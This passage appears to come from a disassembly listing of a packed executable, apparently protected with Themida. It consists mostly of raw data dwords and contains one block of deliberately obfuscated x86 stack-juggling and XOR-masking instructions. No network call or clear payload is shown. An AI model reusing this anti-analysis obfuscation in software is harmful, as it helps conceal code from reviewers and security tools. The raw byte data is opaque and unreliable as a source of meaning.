297F76BAh, 0CA8B66CFh, 85F68159h, 0B934719Eh, 2EEE633Eh dd 3ABF681h, 13E9461Bh, 0C7000000h, 6EAD0BC5h, 0B90DCACBh dd 3CF005E4h, 1DF76863h, 0C681846Ah, 18D2B5EFh, 8CCB8166h dd 840F56F1h, 0Bh, 58E0Fh, 75B90000h, 8F6CCC5Ah, 0EE907h dd 0CBBF0000h, 46496875h, 687FAFBEh, 0A4C69E73h, 0B504EF83h dd 1E8818Eh, 0F000000h, 0FFFF7585h, 0E93BB6FFh, 85h, 740171CDh dd 2BCA3ABFh, 6C0979F4h, 34C131B7h, 6A0B7BFFh, 0BF437E2Dh dd 0F679A64Fh, 0C440EF86h, 1172C154h, 0DB03D4A1h, 9ADC2168h dd 0F14BCC16h, 6254C424h, 0FE6ED2C1h, 0F2709A17h, 0EFF61086h dd 7310CAD4h, 1089BC48h, 4D123CECh, 3C510h, 2FE10000h dd 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 0A968783Ch dd 0E9061C2Eh, 0FFF94F26h, 40CEBFCh, 8D4F82EFh, 0F34C508Dh dd 0E92F97A5h, 618h, 60CE9h, 9C0C6A00h, 57C72AF9h, 0A41471BEh dd 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh dd 0A57A1B8Bh, 943FD646h, 0DDD6FBCAh, 0D495169Ah, 58C8298Ah dd 9189615Eh, 8757C724h, 5C5ACA2Ah, 948D8763h, 0BC2C8C18h dd 92B2857Ah, 0D29D3B15h, 0F6EB2B04h, 1C150171h, 0FBE82E9Eh dd 0FA370777h, 0B6600A7Ah, 0F3CB3BBDh, 4EAE3ABEh, 0C8C5F1DEh dd 2D0A4FF6h, 20F11086h, 0DC02CC4Ah, 862D2069h, 10FACB10h dd 432A223h, 2797191Ah, 0BF6C1EEFh, 5ECCCA3Ah, 0F1546A9Ah dd 16A3FEFCh, 3495141Dh, 9BFC4891h, 4D623316h, 22967449h dd 89E44D11h, 0AEC37119h, 0E936DF4Fh, 9B1A1C8Ch, 5C3840BEh dd 62C6EBADh, 2EA118F2h, 0E62B9AC4h, 855F3D99h, 0D855D6B4h dd 0BD885668h, 5F3D9994h, 0C9A44657h, 0D1ED1DE1h, 184A7F72h dd 893CFE59h, 45516840h, 1351A2Bh, 2494161Bh, 0F767C546h dd 43B3111Eh, 0B7C7F053h, 0FF660F04h, 575F7D0h, 79A02339h dd 4B0A527h, 6E3C5733h, 9AC49ACAh, 0A527E62Bh, 0D6B485B0h dd 284DC580h, 85AEB6B8h, 0E1D5B525h, 44A50ED0h, 133960E3h dd 0F3C4B6BEh, 0AEE5DADCh, 2EDC4Ch, 0BE135885h, 0BC2C8EB6h dd 0E488D7Ah, 0EC73F5DBh, 0E4D242A7h, 598A35DCh, 0B29746F1h dd 3DE06A47h, 1ACDh, 7CCA0B00h, 0AD7C8D3Fh, 0EBE1540Fh dd 5F2662CCh, 0A34768D8h, 353B56Fh, 24D10000h, 4BBB3CC8h dd 0C4413264h, 5C5E6254h, 0F2A1BB7Bh, 0D5B5901Ch, 58D4F3DAh dd 14410DE8h, 0BF243F81h, 0D7543665h, 4EB1E555h, 0D3FABF87h dd 6D0878F4h, 40CF37B6h, 46B63B28h, 10587F50h, 87F77939h dd 0BE91BE8Fh, 95056B78h, 0CCF3A2A1h, 340A7AFBh, 0A61D7EFFh dd 10867463h, 7416390Ah, 0EB203519h, 0E72A99A3h, 8610869Dh dd 0B95BA2B5h, 9C30FDDAh, 5C214573h, 6A530FAEh, 1D9D2E1Fh dd 2D86C8ADh, 655A5CCCh, 0B3238485h, 99096E83h, 0F23F019Dh dd 85401E8Eh, 0D1E535Ch, 355C0E1Fh, 2EBA3D8Ah, 67585ECEh dd 0DB07AD48h, 45000000h, 6D1D8DECh, 0E010ABC5h, 0CE3EBDB6h dd 0CD3DC3F0h, 64E14E1Dh, 67C9EAF4h, 1CCEBFF7h, 0F24E93F2h dd 0A8B21086h, 0F2CA0FB6h, 0C4B11086h, 0C0BDF969h, 290BC8EFh dd 0DA945BA2h, 71568930h, 8DD1A414h, 6155C524h, 2A8D7E6Ch dd 4677CBAh, 0B69CA94h, 23869B9Bh, 40EE9CB3h, 5A5CCC33h dd 3F77E749h, 0DDEAD544h, 4EC2ED5Dh, 68CFF8E7h, 6ACDE6F8h dd 0AE8510FAh, 0C4DDD949h, 0C5C0F666h, 0D95E6954h, 9CC28C69h dd 86D3E029h, 0D0BA8B10h, 276FDF63h, 60DC0EC8h, 4AADC6F0h dd 0CACC3CBEh, 1DDCDAF5h, 0AF9A4974h, 92F0D706h, 7E45A606h dd 1086D35Bh, 0F83E1122h, 0D64D2807h, 36BCA56h, 0D180F239h dd 0B8FBD49Dh, 0AFE7C838h, 86D30854h, 7A65D410h, 48B83B78h dd 0A31371A2h, 0C82466D2h, 0E7455E58h, 11883F77h, 5BCB299Eh dd 0F7EBF7BAh, 86E51086h, 0EC7C3916h, 7697A822h, 0FFFFFF09h dd 0DB0BAB92h, 6704003h, 0AAAB169Ch, 0D4214F88h, 0E6444FC5h dd 9B4F4076h, 0D84832FBh, 0CD08F6F1h, 0C9EAB4E2h, 0EB5BDC68h dd 0B9FDD2ABh, 0DADC4CA8h, 0F320CAE5h, 0DE552090h, 0B8A9ED5Dh dd 0DB4BAC38h, 0F666C6DBh, 0CFE0CFC0h, 0DDD057C7h, 4A2189EAh dd 0C646F10Dh, 66D6565Dh, 0F477AC49h, 0B39C0C68h, 0B42486ABh dd 2FDD8D82h, 930988D4h, 0F363E016h, 0DB4BAEC3h, 7E31D8DBh dd 0A20D8465h, 0BF56C625h, 73A31370h, 3D013105h, 4BB3121Fh dd 763B0FACh, 9482AD26h, 7CF4CFBBh, 1108EB6h, 0A1556530h dd 0D46F6D71h, 1CACA58Dh, 0A9AB5F70h, 8976AB1Ah, 9D99AA1Ah dd 0DDB82884h, 4076E646h, 63C854C5h, 0CD00A748h, 6B0A7AFAh dd 0D3C333B4h, 0A8EE5EDEh, 0CEC838BBh, 0B2E454D5h, 0EAF9E455h dd 0E5607E40h, 4B6211BCh, 157C6E3Fh, 0FD1A9FAAh, 0B6A2F38Ch dd 76000000h, 35DC524h, 0D45AA260h, 3365BEAh, 0E4B51086h dd 4D11E4CBh, 751585E4h, 2CC939B4h, 3D0171F7h, 610979F4h dd 2D9D1D12h, 0E757DB48h, 1B3E05D7h, 0E2108603h, 0F05A39D1h dd 0E6D040C3h, 160070CDh, 0B7741639h, 2935C030h, 3499033h dd 63341086h, 3363D330h, 183B05Ah, 845A0491h, 860398C1h dd 0B8526310h, 0ED88F87Bh, 7A44B436h, 0C4FB739h, 93A09BE4h dd 2926103Fh, 3482D341h, 4A4CBC3Fh, 0B413BA6Bh, 6A74C333h dd 8659B6DBh, 0D0733510h, 10865989h, 0E98CA374h, 0ED4ABA3Ah dd 6539B9h, 944D0000h, 86F21F39h dd 0BB26310h, 0F565CAE7h, 561ECCC1h, 55C524E2h, 861273C0h dd 8C81B525h, 0DB5DD2A3h, 15958A6Bh, 7CBA2A89h, 0F2EE3392h dd 0BC8D1086h, 4AD9BC93h, 786678E8h, 86F284CDh, 0E959DA10h dd 5F70D0ADh, 0EC53E0ABh, 2A8A997Ch, 0E744DBBAh, 9BBC9E77h dd 0B0DAA653h, 69593120h, 3, 244B2F3Dh, 475C5ACAh, 314274E4h dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h dd 4F6452C2h, 783C7AEAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push 7215h mov [esp], ebp push edi mov edi, 38692C93h push ebp mov ebp, 17554287h xor ebp, 45733CF5h and ebp, 56E63F11h dec ebp shr ebp, 4 add ebp, 48C9FC48h or edi, ebp pop ebp and edi, 553E642Dh sub edi, 4F1034E3h mov eax, edi pop edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push eax push edx mov edx, 9DB5821h xor [esp+4], edx pop edx pop dword ptr [ebp+8] xor dword ptr [ebp+8], 9DB5821h mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- dd 317FCE0Ch, 0F90C292Ah, 5C17EBDEh, 3491B82Ch, 0C503061Ch dd 3BE9D38Bh, 60000000h, 1CA9BD8Bh, 0EF830615h, 8BC93304h dd 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh dd 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h, 820F0000h dd 0FFFFFFD3h, 0C88BC361h, 75FDED55h, 76F67A5Eh, 56E669A4h dd 8FFD49BCh, 0EDFD2418h, 22FD2436h, 80FD2421h, 72FD24A8h dd 68FD246Eh, 31FD248Ch, 16FD24FDh, 0DFD2445h, 48FD2419h dd 1FD2436h, 7AFD2421h, 0C7FD24ADh, 0A4FD246Eh, 81FD248Ch dd 4DFD24FDh, 91FD2443h, 9DFD2418h, 95358A25h, 76D6A222h dd 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h dd 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh dd 76FD7A5Eh, 75A31856h, 75A319E5h, 75FD7ACBh, 74FC7BE4h dd 74FC7BF3h, 75F8B290h, 0F0701ABCh, 73E143EBh, 4011FFA6h dd 0F0707C8Bh, 73E14300h, 4051FF6Ch, 0F0707CEEh, 73E14070h dd 4015FF35h, 0F0707C42h, 73E14346h, 404DFF1Eh, 0F0707CD7h dd 73E143CDh, 4049FF7Bh, 0F0707C65h, 73E14D7Ah, 4045FFD7h dd 0F0707C33h, 73E14D4Fh, 4041FF42h, 0F0707CF9h, 73E14D1Ch dd 403DFFF0h, 0F0707CA0h, 73E14217h, 4031FFA6h, 0F0707C8Bh dd 73E142DEh, 4039FF6Ch, 0F0707CEEh, 73E1424Dh, 4035FF35h dd 0F0707C42h, 73E14266h, 4031FF1Eh, 0F0707CD7h, 73E14266h dd 4021FF7Bh, 0F0707C65h, 73E1421Eh, 401DFFD7h, 0F0707C33h dd 73E14252h, 4019FF42h, 0F0707CF9h, 73E143FCh, 402DFFF0h dd 0F0707CA0h, 73E1431Bh, 4029FFA6h, 0F0707C8Bh, 73E1432Bh dd 4025FF6Ch, 0F0767CEEh, 73E85FF4h, 43D8FF35h, 0F0767C42h dd 73E85886h, 43D4FF1Eh, 0B69C7CD7h, 9D11F1B0h, 75FD7AF2h dd 4C17FB23h, 25FB668Bh, 0FDF53FD5h, 69CB5EADh, 0B7342291h dd 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h, 73E14DE6h dd 4056FFA0h, 0C87D7C33h, 73E14F3Ch, 0C5B409CFh, 0B54B75E4h dd 3589BAF9h, 43D4EF86h, 0FEBD7CA0h, 7A452B96h, 8AFD7A2Fh dd 69CB5302h, 0D948F7CDh, 0F8FB66D0h, 9D50FCC6h, 75FD7E4Bh dd 76456FCFh, 8AFD7A5Eh, 69CB53BAh, 0D948F791h, 0F8FB66FEh dd 8A50FCD1h, 0BC1F2322h, 4056F787h, 2DA07CA0h, 2CA32005h dd 776D92ECh, 0CD4D7A97h, 8A5779C1h, 69CB5F70h, 9D3ED1F4h dd 75FD7807h, 0CD9BC2DAh, 0DE9B5954h, 43D8EFD0h, 0DE9B7C8Bh dd 77959208h, 360B7AE5h, 6E8872F3h, 43D8EF86h, 0C54D7CA0h dd 8AAD7954h, 69CB5FBAh, 0F69B2091h, 7E9B7E2Bh, 0B6561C27h dd 75FF6B1Ah, 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h dd 0F5DF7094h, 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah dd 4EA77ABCh, 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh dd 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h dd 913D59A5h, 0F5DF7094h, 0FF4DBA07h, 506885B5h, 2FFB66C4h dd 51FD5F1Fh, 133F71DAh, 0E94DB9F5h, 74BD9285h, 0F44D7A97h dd 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh dd 0DF61CA9Dh, 75FC5BC7h, 13451C97h, 9D561C4Ah, 75FD7B43h dd 75FD4C1Ah, 9D561C79h, 75FD7BB6h, 0B657E7EEh, 9D57E69Fh dd 75FD7A69h, 75FCF323h, 74BE8CE5h, 0C5F20FFAh, 6515D0F9h dd 0DFFD7ABCh, 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h dd 75FD7AE2h, 43D4EF0Dh, 0C0707C65h, 73E14F4Ch, 7F518A5Dh dd 0E002D02Ch, 73E14CB2h, 74E59208h, 254D7AE5h, 9D5779F8h dd 8A02844Bh, 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h dd 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h dd 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h dd 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h dd 405FFF69h, 0C87D7CD7h, 73E14F47h, 0F8EC0FF3h, 69CB6EFCh dd 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h dd 8A00C30Dh, 0DF9CCA0Dh, 405FF787h, 0C87D7CA0h, 73E14FFCh dd 0F8F10F2Fh, 69CB6E12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah dd 5C688579h, 0F8FB668Ah, 69C70BC3h, 6DF9F029h, 9C4DB93Dh dd 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h dd 69CB5FCBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh dd 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h dd 43D8EF68h, 917D7CD7h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh dd 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh dd 69CB5370h, 7D60F7F4h, 0F8FB664Fh, 0CD3E39A0h, 75FD7A4Eh dd 43D4EFD0h, 0B57E7C8Bh, 8935F1CEh, 43D8EF1Ah, 97577CEEh dd 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh dd 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh dd 0F417FB04h, 0FCFB6615h, 0CF7D86EAh, 73E14CEFh, 0EC7975E5h dd 0CDFD7AF2h, 75FD7A73h, 43D4E843h, 0FCBD7C42h, 69CB57ADh dd 0F835F191h, 69C62F79h, 506F85E3h, 0FDFB66C4h, 801F3C7Fh dd 75FD6D04h, 587F795Eh, 35FB6619h, 4EB4E01Ah, 0B67E7CD7h dd 22FEF3E1h, 75FD644Bh, 58777979h, 0F8FB668Ah, 69C64DECh dd 2B598929h, 75FD722Fh, 5C6F85CBh, 0F6FB66D3h, 85897E0Ah dd 72447C71h, 7DFD7ABCh, 0C3F24B5Ah db 0F7h byte_5ED535 db 0BBh, 1Eh, 76h ; DATA XREF: Themida_:0057B0FCo dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh, 4E959016h dd 0CF707CD7h, 73E14CD4h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh dd 26FD7E9Ch, 43CCE7A2h, 497D7C8Bh, 71887BD3h, 771683BEh dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0D417FB04h, 0F8FB6614h dd 69CB4B25h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h dd 4440F7DCh, 46FB6668h, 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh dd 69CB4B58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh dd 9E04795Ah, 0B69C8296h, 4440F7ABh, 0CDFB66D3h, 75FD7AF3h dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 4B78F7EFh, 8AFB66A1h dd 0E8CA8BD0h, 10h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh, 0C6D135CDh dd 0D38B6660h, 61C18B66h, 14E85259h, 0AD000000h, 36CAEA5Ah dd 3F91B27h, 0E96AE032h, 0C25D8436h, 8AC03512h, 815A5AD0h dd 6E8FC1h, 0F98B6600h, 1B6868h, 0F98B6600h, 1BB6658h dd 81318BDFh, 681439C6h, 24F6813Dh, 80127F60h, 0EE816ED6h dd 76655673h, 8F0Fh, 31890000h, 7E9h, 0C53EFD00h, 13710ECCh dd 6CB3E981h, 8D0F3240h, 14h, 0E870Fh, 8E80000h, 0F0000000h dd 3C34164Ah, 5A228547h, 6CAFC181h, 8D0F3240h, 3, 8128D780h dd 1E8h, 12850F00h, 8A000000h, 39E9F4h, 3FB90000h, 0EDFA21Dh dd 9563D742h, 11E86Ch db 2 dup(0) word_5ED70E dw 162Ah ; DATA XREF: Themida_:0057C9E4o dd 4BB32D4h, 0B1FC0C96h, 3472FE9Ah, 0F6C26F8h, 0E95FFAB7h dd 0FFFFFF69h, 5A23F555h, 0A6F02F80h, 0D92CE4DAh, 8DF937EAh dd 1C3DFD8Dh, 0B5BD8906h, 0F06152Fh, 1D82h, 178E0F00h dd 0E9000000h, 12h, 0E07409B1h, 879C075Ch, 6D05FB0Ah, 0A358555Fh dd 8D892A3Dh, 6152721h, 69DA8166h, 0CD85C7EBh, 0C0061504h dd 6A00006Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 95FCC352h, 56FA2CAFh, 0C7816683h dd 85C71F3Ch, 6151115h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 18C35040h dd 2A9858Bh, 95890615h, 615161Dh, 2F59B5FFh, 6A0615h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 4472EEC3h, 1EC72C6h, 95FFC68Bh, 61502C9h, 0E8D7BF0Fh dd 7, 67242D03h, 0E934B14Eh, 0Ch, 0E4293222h, 0D79534B5h dd 86C7198Ch, 0FF006A58h, 152E2195h, 0EBC08B06h, 63D6ED4Dh dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 5685C3F4h, 0BF1714C4h dd 9F015FF9h, 4C4C6BEh, 0FFE6109h, 4D1AFFBAh, 85F3AFA2h dd 0FBC4DB06h, 1C22710Fh, 18057CA1h, 0C2226798h, 67911F71h dd 8C3A7055h, 0EF8239F2h, 4F943AA8h, 8D8D1C08h, 61C3EF6h dd 0A7FFBF66h, 27218D89h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0E0366DC3h, 85893D0Eh dd 6152C75h, 18B5B589h, 85C70615h, 61504CDh, 5E54h, 17058529h dd 85C70615h, 6151115h, 0 dd 33B59523h, 0B5FF0615h, 6152CBDh, 1331B50Bh, 5E90615h dd 0E3000000h, 0A8978032h, 2C995FFh, 6A0615h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 870F28C3h dd 6, 1829BD8Bh, 6A0615h, 2E2195FFh, 0C08B0615h, 0DD1A1BEBh dd 6C8A19D9h, 42239DAFh, 0EFC0495Ah, 0AD1B3BC6h, 0E9CBA3FEh dd 89788FF5h, 0CE8AFh, 137C0000h, 6BA6B369h, 74199B69h dd 870F0370h, 0Eh, 0C9953160h, 8B061504h, 151D499Dh, 8B596106h dd 15056195h, 0FFC18106h, 0F000071h, 5C68D2BFh, 8000001Ch dd 895EF5E2h, 150ACDBDh, 8B398B06h, 152F159Dh, 16F78106h dd 0BB6C5541h, 62478A84h, 0FB4EF81h, 8D0F4BD1h, 5, 0C25026BBh dd 0CFC78131h, 0BB5DDA1Ah, 0E56BFFFh, 6850F57h, 2B000000h dd 15129195h, 0F018F06h, 0E983D3BFh, 6D858B04h, 4E061534h dd 0FFAF850Fh, 0BF0FFFFFh, 2AE9D8h, 4C70000h, 24h, 0E800h dd 815D0000h, 1C3FBFEDh, 24448B06h, 0AD858904h, 0B8061528h dd 0 dd 4F9E8D8Dh, 0E1FF0615h, 6754B8h, 16EB00h, 4 dup(0) dd 1000000h, 3B401h, 6A061C00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 3C8CC357h, 60375F7Fh dd 226D9D8Bh, 8D010615h, 61502A5h, 8E99061h, 0C3000000h dd 2DC519EAh, 50D5B306h, 0DF8B6690h, 0B529006Ah, 6150D1Dh dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0C9A95EC3h, 0F583E46h, 682h, 51958900h, 8D061515h dd 1C412185h, 90D98B06h, 5AE4BA66h, 830F50h, 90000000h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C4C35747h dd 30A825C8h, 2504E08Ch, 1D8D9D33h, 81660615h, 6A06D8CFh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 4472EE84h, 1EC72C6h, 0F560006Ah, 9F18D89h dd 0FF610615h, 15267995h, 69B58906h, 0E9061506h, 5BDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0ECC35545h dd 9D316273h, 61533B5h, 0E8h, 0ED815D00h, 61C4126h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E1C35343h, 0CC409266h dd 85E3F93Bh, 6AF5B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0D7E423C3h, 7A823285h, 4FC9811Dh dd 0E872A581h, 4, 0FA0h, 24448B50h, 37B95704h, 5B744BFAh dd 11E9008Bh, 48000000h, 232D50EAh, 37951452h, 0EE180B0Ah dd 50CC87BEh, 4244489h, 58CA8B66h, 68B0Fh, 0B5890000h dd 6152925h, 2E2195FFh, 11E80615h, 8B000000h, 5E453A5Bh dd 0F4E17DC9h, 5F12DCABh, 254BCE60h, 0DE8h, 617ED900h dd 62B871E5h, 0BF38B644h, 0BA660110h, 5A5A5953h, 8D59FC56h dd 1C3FE4B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0D6B92FFFh, 1CFC8957h, 6C7293Bh dd 6D676552h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 8DC35545h, 0C7D98B4Fh, 6E6F0446h, 95896C63h, 6152B3Dh dd 610846C7h, 6A007373h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 82B3C352h, 6E9A0B1h dd 0CE000000h, 5D8F80FAh, 60006A6Bh, 0D6815E52h, 2F6E400h dd 0E4858D61h, 2B061C3Fh, 1503719Dh, 9BF5006h, 8949B877h dd 9E92404h, 8A000000h, 0D017DA9h, 153E4D7Eh, 17F595FFh dd 840F0615h, 19h, 14E9h, 9266E100h, 0F93BCC40h, 1FB685E3h dd 838CA18Ch, 1BA6E3C4h, 0FC00B6Eh, 2984h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8B66CB02h, 36BE9D9h, 0BB660000h, 4C684404h, 56F968C5h dd 2404815Fh, 6973BE0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 7DC35242h, 0C94D4B96h, 4D2EDF82h, 2E999589h dd 10E80615h, 59000000h, 12A8F78Dh, 0B71FA713h, 294377E5h dd 0E998D8EBh, 0Ch, 45F6E2ADh, 0C502B502h, 4A58A98h, 2195FF5Fh dd 6A06152Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 465BC356h, 0FEF7B3E8h, 9D8B8CC5h dd 61503C1h, 3FE4B58Dh, 0B70F061Ch, 0BA5060D2h, 4453C85Eh dd 6C7615Ah, 36343831h, 446C7F9h, 31342D37h, 0E98D3360h dd 0E906152Eh, 14h, 8FD37432h, 0D998FA76h, 0EDE1140Eh dd 4556E474h, 0D88EB7A2h, 846C761h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B0C35343h dd 0C8F97E21h, 6A3C6240h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 87EB6E8Dh dd 8D1EB253h, 1C3FE485h, 85B58906h, 50061525h, 48979B5h dd 45B53124h, 0FC061513h, 17F595FFh, 6A0615h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C14493C3h dd 286A6948h, 0F772FDDh, 0F52FFB7h, 381h, 0AEDA8000h, 6880F59h dd 8B000000h, 1530959Dh, 0FC00B06h, 1284h, 89952900h, 0FC061518h dd 1D8E9h, 599D8900h, 0E8061505h, 4, 12Ch, 7BF5EFBAh, 0F605004h dd 281h, 0E95A5700h, 9, 0BA500176h, 9C4440DAh, 448B6112h dd 71B60424h, 8B66008Bh, 244489CAh, 3808BB04h, 6A580CCBh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0C765C356h, 0DDC29642h, 0FFFD72F1h, 152E2195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 840F6FFAh, 6, 1B63E781h, 0B58D3710h, 61C3FE4h dd 694606C7h, 0FE9656Ch, 33000000h, 0D4881E7Bh, 0DD96673Ch dd 62AE2D7Dh, 46C7FC2Ah, 6E6F6D04h, 0B5B58963h, 8B061508h dd 1508318Dh, 846C706h, 7373616Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0D8C35545h, 1A1CCDADh, 95332B4Ch dd 6151509h, 0C7F8B70Fh, 0C46h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 319BC1C3h dd 4985898Eh, 60061522h, 0E9F28B66h, 14h, 49997470h, 3CF4B485h dd 72066A87h, 956ECF2Ch, 5469BAC9h, 8B006A61h, 153041BDh dd 0E4858D06h, 8B061C3Fh, 151D25BDh, 0B9509006h, 67A0B88Fh dd 8B90505Bh, 1530458Dh, 0E58D8906h, 0FF06151Ch, 1517F595h dd 12E806h, 7B4F0000h, 0E66B653Ah, 3F3210BAh, 4D512C1Ch dd 0D0E18167h, 30358D03h, 0B5B0615h, 33840FC0h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 781FC353h, 83FDD9B9h, 18D89C7h, 8906152Bh dd 151675B5h, 0BE906h, 0B9E90000h, 8BFFFFFAh, 1521719Dh dd 0DB58D06h, 9061572h, 1507C19Dh, 0B806h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 58B897C3h, 4A37556Ch, 958B8123h, 6152295h, 45FE72BFh dd 0E9E6FF72h, 5, 86124D8Ah, 0FEC18B98h, 0F4053CAh, 4BC8D0A8h dd 0F409E8Ah, 0EAD5ABA8h, 0F417675h, 4BC9DEA8h, 0AE5DBA8Ah dd 4BC98B57h, 0F46668Ah, 0EAD5ABA8h, 0F462975h, 4BCEF9A8h dd 0F46AB8Ah, 4BCF7BA8h, 0F472D8Ah, 0EAD5ABA8h, 0D42F2575h dd 1336134Fh, 171CC003h, 90A752B4h, 57BE0DDFh, 53E8D121h dd 0D42F4396h, 13361C04h, 1764C003h, 90A752B4h, 57BE0C8Eh dd 53E4D121h, 0D42F4396h, 13361DF3h, 1770C003h, 90A752B4h dd 57BE0C3Ah, 53F0D121h, 0D42F4396h, 13361D5Ch, 177CC003h dd 90A752B4h, 57BE0FB7h, 53CCD121h, 0D42F4396h, 13361ED6h dd 1748C003h, 90A752B4h, 57BE0F35h, 53C4D121h, 0D42F4396h dd 13361FA8h, 1750C003h, 90A752B4h, 57BE0EB3h, 53DCD121h dd 0B8C34396h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 0B4C0D5F2h, 96A459CDh, 152AA8EDh, 2429458Ah, 96E367A0h dd 0D5ADBAB4h, 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h dd 8FD3Ah, 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h dd 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh dd 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h dd 0DB2FEE27h, 133663E7h, 1129475h, 5AA0D902h, 0AEA459BDh dd 51A1EC79h, 0DC0941AEh, 91D1B22h, 3773BA8Ch, 732ADF10h dd 1E28C821h, 0EA2C489Fh, 152BFD5Bh, 9881508Ch, 4D950A00h dd 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h dd 0D24ECEDFh, 0FD4AA86Ch, 